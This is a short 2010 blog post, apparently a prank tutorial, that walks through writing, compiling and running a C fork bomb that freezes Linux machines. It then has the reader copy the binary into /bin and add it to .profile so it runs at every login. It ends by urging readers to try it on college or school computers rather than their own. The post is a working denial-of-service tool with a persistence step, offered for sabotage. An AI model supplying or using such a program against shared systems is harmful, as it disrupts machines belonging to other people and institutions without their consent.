Now you freeze any linux os ,
open any text editor or vi in linux
type the following
int main()
{
while(1)
fork();
}
save it as freeze.c
now compile the file using
gcc freeze.c -o freeze
now when u run the compiled file using
./freeze
the computer will freeze , due to cpu overloading .
you can make this freeze file to execute automatically on startup , so that when ever you start the linux , ur computer gets frozed :)
first copy freeze to bin folder using the command ,
cp freeze /bin/
next
open a file called .profile , which is present in the user directory , ie the directory that has the same name of ur user name , in that first enable show hidden files option from the options or tools menu , now u will find .profile or .bash_profile , open it
and add freeze at the last line .
this creates startup entry , so thus whenever the linux boots into the specified user account the screen gets frozen .
:)
Dont try it on ur home comp , try it on your collage or school comp :)
Sunday, November 21, 2010
freeze any linux os !!
10:50 PM
Unknown
No comments
0 comments:
Post a Comment